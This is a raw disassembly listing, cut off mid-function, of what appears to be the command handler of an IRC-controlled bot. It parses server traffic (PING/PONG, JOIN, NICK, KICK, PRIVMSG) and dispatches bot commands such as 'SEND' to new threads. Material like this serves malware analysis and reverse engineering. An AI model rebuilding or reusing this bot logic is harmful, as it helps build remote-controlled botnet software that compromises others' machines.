var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AAC	= byte ptr -2AACh
var_2994	= byte ptr -2994h
var_2914	= dword	ptr -2914h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= byte ptr -28FCh
var_287C	= byte ptr -287Ch
var_277C	= byte ptr -277Ch
var_267C	= dword	ptr -267Ch
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= byte ptr -2654h
var_25D4	= byte ptr -25D4h
var_24D4	= byte ptr -24D4h
var_23D4	= dword	ptr -23D4h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= byte ptr -23ACh
var_232C	= byte ptr -232Ch
var_22AC	= byte ptr -22ACh
var_222C	= dword	ptr -222Ch
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= byte ptr -2218h
var_2198	= byte ptr -2198h
var_2118	= byte ptr -2118h
var_2098	= dword	ptr -2098h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= byte ptr -2084h
var_2004	= byte ptr -2004h
var_1F84	= byte ptr -1F84h
var_1F04	= dword	ptr -1F04h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= byte ptr -1EF0h
var_1DF0	= byte ptr -1DF0h
var_1D70	= dword	ptr -1D70h
var_1D68	= dword	ptr -1D68h
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D4C	= byte ptr -1D4Ch
var_1D38	= byte ptr -1D38h
var_1C34	= byte ptr -1C34h
var_1BB0	= dword	ptr -1BB0h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B98	= byte ptr -1B98h
var_1B84	= byte ptr -1B84h
var_1A80	= byte ptr -1A80h
var_1A00	= dword	ptr -1A00h
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= byte ptr -19E8h
var_1968	= byte ptr -1968h
var_1928	= byte ptr -1928h
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1818	= dword	ptr -1818h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= byte ptr -180Ch
var_17D4	= byte ptr -17D4h
var_17B8	= byte ptr -17B8h
var_1780	= byte ptr -1780h
var_177C	= byte ptr -177Ch
var_16FC	= byte ptr -16FCh
var_16BC	= byte ptr -16BCh
var_162C	= dword	ptr -162Ch
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= byte ptr -1618h
var_1598	= byte ptr -1598h
var_1518	= dword	ptr -1518h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= byte ptr -1508h
var_14F8	= byte ptr -14F8h
var_1478	= byte ptr -1478h
var_13F8	= dword	ptr -13F8h
var_13F0	= dword	ptr -13F0h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= byte ptr -13D8h
var_1358	= byte ptr -1358h
var_12D8	= byte ptr -12D8h
var_1258	= dword	ptr -1258h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1234	= byte ptr -1234h
var_11B4	= byte ptr -11B4h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1114	= dword	ptr -1114h
var_1110	= byte ptr -1110h
var_1090	= byte ptr -1090h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= byte ptr -0FECh
var_F6C		= dword	ptr -0F6Ch
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= byte ptr -0F58h
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= byte ptr -0EC4h
var_E44		= dword	ptr -0E44h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= byte ptr -0E34h
var_E24		= byte ptr -0E24h
var_E04		= byte ptr -0E04h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D00		= byte ptr -0D00h
var_C80		= dword	ptr -0C80h
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= byte ptr -0C5Ch
var_BDC		= dword	ptr -0BDCh
var_BD8		= dword	ptr -0BD8h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= byte ptr -0A90h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 568Ch
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41BF70
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401F75
		push	esi
		lea	eax, [ebp+var_428C]
		push	ebx
		push	eax
		call	sub_41BF70
		dec	esi
		lea	eax, [ebp+var_428C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	offset asc_42CDCC ; " :"
		push	eax
		call	sub_41C2E0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_428C]
		push	esi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		mov	esi, offset asc_42CDC8 ; " "
		lea	eax, [ebp+var_4EF8]
		push	esi
		push	eax
		call	sub_41CAD4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401F75
		cmp	[ebp+var_8C], ebx
		jz	loc_401F75
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CDC4 ; "!"
		push	eax
		call	sub_41CAD4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a005	; "005"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a302	; "302"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41BFD0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40AE84
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9A
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD58
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F75
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E8D:				; CODE XREF: sub_401ACD+5F6j
					; sub_401ACD+8B9j ...
		push	[ebp+arg_4]
		call	sub_409823
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_401E9A:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FDD
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC3:				; CODE XREF: sub_401ACD+448j
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F10
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F10
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41C890
		push	[ebp+arg_1C]
		push	edi
		call	sub_41C8A0
		add	esp, 10h
		mov	edi, 80h


loc_401F10:				; CODE XREF: sub_401ACD+407j
					; sub_401ACD+41Ej
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC3
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	short loc_401F75
		cmp	[ebp+arg_24], ebx
		jz	short loc_401F75
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F4D
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41BFD0
		jmp	loc_4036A2
; ---------------------------------------------------------------------------


loc_401F4D:				; CODE XREF: sub_401ACD+46Cj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F52:				; CODE XREF: sub_401ACD+4A6j
		cmp	[edi], bl
		jz	short loc_401F69
		lea	eax, [ebp+var_E04]
		push	eax
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F7D


loc_401F69:				; CODE XREF: sub_401ACD+487j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F52


loc_401F75:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401F77:				; CODE XREF: sub_401ACD+2A1Ej
		pop	eax


loc_401F78:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A40j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F7D:				; CODE XREF: sub_401ACD+49Aj
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F75
		push	eax
		call	sub_41B9C0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F75
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_45F0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_401F75
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: sub_401ACD+3DCj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FFF
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402026


loc_401FFF:				; CODE XREF: sub_401ACD+51Fj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402004:				; CODE XREF: sub_401ACD+557j
		cmp	[edi], bl
		jz	short loc_40201A
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402067


loc_40201A:				; CODE XREF: sub_401ACD+539j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402004


loc_402026:				; CODE XREF: sub_401ACD+530j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020C8
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40205A
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40205A:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_80]
		push	offset unk_42CD04
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_402067:				; CODE XREF: sub_401ACD+54Bj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CCE4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41CA50
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F75
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4020C8:				; CODE XREF: sub_401ACD+56Dj
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41CA50
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	offset dword_42CCD0
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		cmp	dword_429088, ebx
		jz	loc_409644


loc_40211C:				; CODE XREF: sub_401ACD+615j
					; sub_401ACD+627j
		push	[ebp+var_8C]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_402160:				; CODE XREF: sub_401ACD+891j
					; sub_401ACD+8CDj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42CCC8
		mov	[ebp+arg_8], eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40253B
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402402
		cmp	[ebp+var_A4], ebx
		jz	loc_4023DB
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B84]
		push	edi
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_1B98]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_1A00],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1BA0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F4],	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		lea	eax, [ebp+var_1B84]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CC8C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_19FC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1BA0]
		push	ebx
		push	eax
		push	offset loc_416563
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_19FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	loc_4023CA


loc_40228C:				; CODE XREF: sub_401ACD+7D3j
		cmp	[ebp+var_19F0],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_40228C
; ---------------------------------------------------------------------------


loc_4022A2:				; CODE XREF: sub_401ACD+65Fj
					; sub_401ACD+675j
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022BB
		mov	[ebp+var_4], 1


loc_4022BB:				; CODE XREF: sub_401ACD+7E5j
		cmp	[ebp+var_88], ebx
		jz	loc_401F75
		push	offset dword_42CC88
		push	[ebp+var_88]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022E2
		cmp	[ebp+var_4], ebx
		jz	short loc_4022EE


loc_4022E2:				; CODE XREF: sub_401ACD+80Ej
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_4022EE:				; CODE XREF: sub_401ACD+813j
		cmp	[ebp+var_84], ebx
		jz	loc_401F75
		inc	[ebp+var_84]
		jz	short loc_40233A
		cmp	[ebp+arg_10], ebx
		jz	short loc_40233A
